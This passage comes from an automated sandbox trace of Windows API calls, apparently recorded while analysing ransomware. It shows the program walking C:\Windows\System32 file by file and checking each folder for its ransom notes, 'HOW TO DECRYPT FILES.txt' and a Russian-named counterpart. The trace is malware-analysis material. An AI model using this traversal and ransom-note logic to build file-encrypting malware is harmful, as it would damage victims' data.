(lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0143.872] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="cca.dll" | out: lpString1="C:\\Windows\\System32\\cca.dll") returned="C:\\Windows\\System32\\cca.dll" [0143.872] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf32f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ebf32f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ec19456, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="cdosys.dll", cAlternateFileName="")) returned 1 [0143.872] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0143.872] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cdosys.dll") returned 1 [0143.872] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cdosys.dll") returned 1 [0143.872] lstrcmpiA (lpString1="", lpString2="cdosys.dll") returned -1 [0143.872] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cca.dll") returned="cca.dll" [0143.872] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0143.873] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0143.873] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0143.873] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0143.873] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="cdosys.dll" | out: lpString1="C:\\Windows\\System32\\cdosys.dll") returned="C:\\Windows\\System32\\cdosys.dll" [0143.873] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cedc67e, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x3cedc67e, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x3cc08c71, ftLastWriteTime.dwHighDateTime=0x1ca0413, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x0, dwReserved1=0x0, cFileName="cero.rs", cAlternateFileName="")) returned 1 [0143.873] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0143.873] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cero.rs") returned 1 [0143.873] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cero.rs") returned 1 [0143.873] lstrcmpiA (lpString1="", lpString2="cero.rs") returned -1 [0143.873] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cdosys.dll") returned="cdosys.dll" [0143.873] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0143.873] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0143.873] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0143.874] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0143.874] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="cero.rs" | out: lpString1="C:\\Windows\\System32\\cero.rs") returned="C:\\Windows\\System32\\cero.rs" [0143.874] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92e99b70, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92e99b70, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92ebfcd0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53800, dwReserved0=0x0, dwReserved1=0x0, cFileName="certcli.dll", cAlternateFileName="")) returned 1 [0143.874] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0143.874] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="certcli.dll") returned 1 [0143.874] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="certcli.dll") returned 1 [0143.874] lstrcmpiA (lpString1="", lpString2="certcli.dll") returned -1 [0143.874] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cero.rs") returned="cero.rs" [0143.874] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0143.874] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0143.874] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0143.874] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0143.874] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="certcli.dll" | out: lpString1="C:\\Windows\\System32\\certcli.dll") returned="C:\\Windows\\System32\\certcli.dll" [0143.875] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b996d79, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3b996d79, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82dbd4f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="certCredProvider.dll", cAlternateFileName="")) returned 1 [0143.875] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0143.875] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="certCredProvider.dll") returned 1 [0143.875] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="certCredProvider.dll") returned 1 [0143.875] lstrcmpiA (lpString1="", lpString2="certCredProvider.dll") returned -1 [0143.875] PathFindFileNameA (pszPath="C:\\Windows\\System32\\certcli.dll") returned="certcli.dll" [0143.875] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0143.875] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0143.875] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0143.875] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0143.875] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="certCredProvider.dll" | out: lpString1="C:\\Windows\\System32\\certCredProvider.dll") returned="C:\\Windows\\System32\\certCredProvider.dll" [0143.876] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1331d6, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x4e1331d6, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="certenc.dll", cAlternateFileName="")) returned 1 [0143.876] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0143.876] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="certenc.dll") returned 1 [0143.876] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="certenc.dll") returned 1 [0143.876] lstrcmpiA (lpString1="", lpString2="certenc.dll") returned -1 [0143.876] PathFindFileNameA (pszPath="C:\\Windows\\System32\\certCredProvider.dll") returned="certCredProvider.dll" [0143.876] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0143.876] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0143.876] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0143.876] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0143.876] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="certenc.dll" | out: lpString1="C:\\Windows\\System32\\certenc.dll") returned="C:\\Windows\\System32\\certenc.dll" [0143.876] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b374845, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b374845, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b39a9a5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x145c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="CertEnroll.dll", cAlternateFileName="")) returned 1 [0143.876] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0143.876] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CertEnroll.dll") returned 1 [0143.876] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CertEnroll.dll") returned 1 [0143.877] lstrcmpiA (lpString1="", lpString2="CertEnroll.dll") returned -1 [0143.877] PathFindFileNameA (pszPath="C:\\Windows\\System32\\certenc.dll") returned="certenc.dll" [0143.877] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0143.877] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0143.877] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0143.877] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0143.877] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="CertEnroll.dll" | out: lpString1="C:\\Windows\\System32\\CertEnroll.dll") returned="C:\\Windows\\System32\\CertEnroll.dll" [0143.877] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55694ba1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x55694ba1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x66763d50, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10600, dwReserved0=0x0, dwReserved1=0x0, cFileName="CertEnrollCtrl.exe", cAlternateFileName="")) returned 1 [0143.877] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0143.877] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CertEnrollCtrl.exe") returned 1 [0143.877] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CertEnrollCtrl.exe") returned 1 [0143.877] lstrcmpiA (lpString1="", lpString2="CertEnrollCtrl.exe") returned -1 [0143.877] PathFindFileNameA (pszPath="C:\\Windows\\System32\\CertEnroll.dll") returned="CertEnroll.dll" [0143.878] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0143.878] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0143.878] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0143.878] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0143.878] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="CertEnrollCtrl.exe" | out: lpString1="C:\\Windows\\System32\\CertEnrollCtrl.exe") returned="C:\\Windows\\System32\\CertEnrollCtrl.exe" [0143.878] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x587d3176, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x587d3176, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x42600, dwReserved0=0x0, dwReserved1=0x0, cFileName="CertEnrollUI.dll", cAlternateFileName="")) returned 1 [0143.878] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0143.878] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CertEnrollUI.dll") returned 1 [0143.878] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CertEnrollUI.dll") returned 1 [0143.878] lstrcmpiA (lpString1="", lpString2="CertEnrollUI.dll") returned -1 [0143.878] PathFindFileNameA (pszPath="C:\\Windows\\System32\\CertEnrollCtrl.exe") returned="CertEnrollCtrl.exe" [0143.878] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0143.878] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0143.878] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0143.878] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0143.879] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="CertEnrollUI.dll" | out: lpString1="C:\\Windows\\System32\\CertEnrollUI.dll") returned="C:\\Windows\\System32\\CertEnrollUI.dll" [0143.879] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x834a93a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="certmgr.dll", cAlternateFileName="")) returned 1 [0143.879] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0143.879] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="certmgr.dll") returned 1 [0143.879] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="certmgr.dll") returned 1 [0143.879] lstrcmpiA (lpString1="", lpString2="certmgr.dll") returned -1 [0143.879] PathFindFileNameA (pszPath="C:\\Windows\\System32\\CertEnrollUI.dll") returned="CertEnrollUI.dll" [0143.879] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0143.879] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0143.879] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0143.879] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0143.879] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="certmgr.dll" | out: lpString1="C:\\Windows\\System32\\certmgr.dll") returned="C:\\Windows\\System32\\certmgr.dll" [0143.880] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934e0c77, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x934e0c77, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x8605bc7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xf65e, dwReserved0=0x0, dwReserved1=0x0, cFileName="certmgr.msc", cAlternateFileName="")) returned 1 [0143.880] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0143.880] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="certmgr.msc") returned 1 [0143.880] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="certmgr.msc") returned 1 [0143.880] lstrcmpiA (lpString1="", lpString2="certmgr.msc") returned -1 [0143.880] PathFindFileNameA (pszPath="C:\\Windows\\System32\\certmgr.dll") returned="certmgr.dll" [0143.880] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0143.880] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0143.880] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0143.880] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0143.880] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="certmgr.msc" | out: lpString1="C:\\Windows\\System32\\certmgr.msc") returned="C:\\Windows\\System32\\certmgr.msc" [0143.881] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92abb7a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92abb7a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92abb7a9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="CertPolEng.dll", cAlternateFileName="")) returned 1 [0143.881] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0143.881] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CertPolEng.dll") returned 1 [0143.881] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CertPolEng.dll") returned 1 [0143.881] lstrcmpiA (lpString1="", lpString2="CertPolEng.dll") returned -1 [0144.069] PathFindFileNameA (pszPath="C:\\Windows\\System32\\certmgr.msc") returned="certmgr.msc" [0144.069] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.069] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.069] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.070] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.070] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="CertPolEng.dll" | out: lpString1="C:\\Windows\\System32\\CertPolEng.dll") returned="C:\\Windows\\System32\\CertPolEng.dll" [0144.071] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5332c54f, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x5332c54f, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x667af840, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x40400, dwReserved0=0x0, dwReserved1=0x0, cFileName="certreq.exe", cAlternateFileName="")) returned 1 [0144.071] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.071] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="certreq.exe") returned 1 [0144.071] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="certreq.exe") returned 1 [0144.071] lstrcmpiA (lpString1="", lpString2="certreq.exe") returned -1 [0144.071] PathFindFileNameA (pszPath="C:\\Windows\\System32\\CertPolEng.dll") returned="CertPolEng.dll" [0144.071] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.071] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.071] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.071] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.071] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="certreq.exe" | out: lpString1="C:\\Windows\\System32\\certreq.exe") returned="C:\\Windows\\System32\\certreq.exe" [0144.072] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62050ed5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x62050ed5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x66a5d8d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd9400, dwReserved0=0x0, dwReserved1=0x0, cFileName="certutil.exe", cAlternateFileName="")) returned 1 [0144.072] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.072] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="certutil.exe") returned 1 [0144.072] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="certutil.exe") returned 1 [0144.072] lstrcmpiA (lpString1="", lpString2="certutil.exe") returned -1 [0144.072] PathFindFileNameA (pszPath="C:\\Windows\\System32\\certreq.exe") returned="certreq.exe" [0144.072] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.072] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.072] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.072] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.072] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="certutil.exe" | out: lpString1="C:\\Windows\\System32\\certutil.exe") returned="C:\\Windows\\System32\\certutil.exe" [0144.072] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf69d5a18, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xf69d5a18, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x33600, 